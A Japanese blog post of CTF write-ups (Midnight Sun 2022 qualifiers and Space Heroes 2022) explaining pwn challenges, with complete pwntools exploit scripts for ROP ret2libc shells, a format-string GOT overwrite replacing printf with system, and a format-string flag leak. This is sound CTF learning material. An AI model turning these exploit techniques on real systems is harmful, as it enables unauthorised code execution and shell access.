Midnight Sun CTF Qualifiers 2022 Writeups
まえがき
1人で2時間出てpwnのspeed問題を2問解きました。
コンテストの時間を2日とかにしてほしい・・・
[pwn 50pts] speed1
出ました、ROPです。
前回のSpaceHeroesCTFのVaderでもやりましたね。
今回はlibcが配られてるのでlibc_baseを求めてsystemを起動するだけです。
from pwn import * conn = remote("speed-01.hfsc.tf", "61000") elf = ELF('./speed1') libc = ELF('./libc.so.6') offset = 0x28 pop_rdi_ret = 0x004012b3 start_addr = 0x4010d0 ret = 0x0040101a payload = b"" payload += b"\x90"*offset payload += pack(pop_rdi_ret, '64') payload += pack(elf.got["puts"], '64') payload += pack(elf.plt["puts"], '64') payload += pack(start_addr, '64') conn.recvuntil(": ") conn.sendline(payload) leak_addr = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all') log.info("leak address : "+hex(leak_addr)) libc_base = leak_addr - libc.symbols["puts"] log.info("libc base : "+hex(libc_base)) log.info("libc_puts : "+hex(libc.symbols["puts"])) binsh_addr = libc_base + next(libc.search(b"/bin/sh")) system_addr = libc_base + libc.symbols["system"] payload = b"" payload += b"\x90"*offset payload += pack(ret, '64') payload += pack(pop_rdi_ret, '64') payload += pack(binsh_addr, '64') payload += pack(system_addr, '64') conn.sendline(payload) conn.interactive()
[pwn 50pts] speed2
BOFはありませんがprintfの扱いが悪いためFSAできます。
前回のSpaceHeroesCTFのGuardians of the Galaxyのときのようにflagを読みだせれば良いのですが
flag.txtをfopenしていないため厳しそうです。
ここでchecksecを使ってみるとPartial RELROなことからGOT Overwriteができることがわかります。
方針としては、libcが配られているためprintfをGOT Overwriteしてlibc内のsystemに書き換えてprintf(str) -> system(str)
を実行することを考えます。
このとき入力のstrを"/bin/sh"としてやれば"/bin/sh"が出力されるかわりにシェルが起動します。
1度目のFSAでexitをGOT Overwriteして関数の先頭アドレスに飛ばします。
こうすることで何回でもFSAが実行できるようにできます。
2度目のFSAでprintfをsystemに書き換え方針の攻撃を実行します。
from pwn import * context.clear(arch="i386") conn = remote("speed-02.hfsc.tf", "21000") elf = ELF('./speed2') libc = ELF('./libc.so.6') conn.recvuntil(": ") offset = 7 exit_addr = 0x804c020 start_addr = 0x8049140 writes = {exit_addr: start_addr} numbwritten = 0 write_size = "byte" payload = b"" payload += fmtstr_payload(offset, writes, numbwritten, write_size) conn.sendline(payload) conn.recvuntil(": ") payload = b"" payload += b"%2$p" conn.sendline(payload) leak_addr = int(conn.recvline(), 16) log.info("leak address : "+hex(leak_addr)) libc_base = leak_addr-libc.symbols["_IO_2_1_stdin_"] log.info("libc_base : "+hex(libc_base)) system_addr = libc_base+libc.symbols["system"] offset = 7 printf_addr = 0x804c00c writes = {printf_addr: system_addr} numbwritten = 0 write_size = "byte" payload = b"" payload += fmtstr_payload(offset, writes, numbwritten, write_size) conn.sendline(payload) conn.interactive()
終わりに
speed2は私の苦手なFSAでGOT Overwriteする問題でしたが解けてよかったです(コンテスト中では初かも)。
実際に自明なアドレスにFSAしてみてpwndbgで覗いてみたり、実行中のリークしたアドレスを覗いてみたりしました。
やはり手を動かすと理解が深まりますね。
今回のCTFも楽しかったです。
Space Heroes CTF 2022 Writeups
まえがき
久しぶりのCTFでした。
CTFは楽しいね。
今年はpwnを頑張りたい!
[pwn 100pts] Vader
Buffer Over Flowがある。
0x28bytes書き込むとreturnアドレスを書き換えれる。
あとはROPをするだけ。
libcが配られていないのでlibcアドレスをputs関数でleakさせlibc databaseでlibcを特定する。
下のサイトを使った。
main -> puts -> main -> system("/bin/sh")
久しぶりのROPだったので疲れましたが完全に思い出せました。
from pwn import * HOST = "0.cloud.chals.io" PORT = "20712" elf = ELF('./vader') libc = ELF('./libc6_2.33-1_amd64.so') conn = remote(HOST, PORT) offset = 0x28 pop_rdi_ret = 0x40165b puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] main_addr = elf.symbols["main"] payload = b"" payload += b"A"*offset payload += pack(pop_rdi_ret, '64') payload += pack(puts_got, '64') payload += pack(puts_plt, '64') payload += pack(main_addr, '64') conn.recvuntil(b">>> ") conn.sendline(payload) puts_libc = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all') binsh_addr = next(libc.search(b"/bin/sh")) system_addr = libc.symbols["system"] libc_base = puts_libc-libc.symbols["puts"] payload = b"" payload += b"A"*offset payload += pack(pop_rdi_ret, '64') payload += pack(binsh_addr+libc_base, '64') payload += pack(system_addr+libc_base, '64') conn.recvuntil(b">>> ") conn.sendline(payload) conn.interactive()
[pwn 100pts] Guardians of the Galaxy
入力したものが出力される。
Buffer Over Flowは無さそうなので%pを入力するとなんらかのアドレスがリークしたため
FSA(Format String Attack)ができる。
このリークしたアドレスのk番目にflagがある場合、%k$sと入力するだけでflagの文字列をリークできる。
flag.txtの文字列は入力以前に読み出されているのでスタックに積まれていると考えられるため解けそう。
結果 "%6$s" と入力することによりflagを得る。
終わりに
久しぶりのCTF楽しかったです。
ROPを完全に忘れていたので思い出せて良かったです。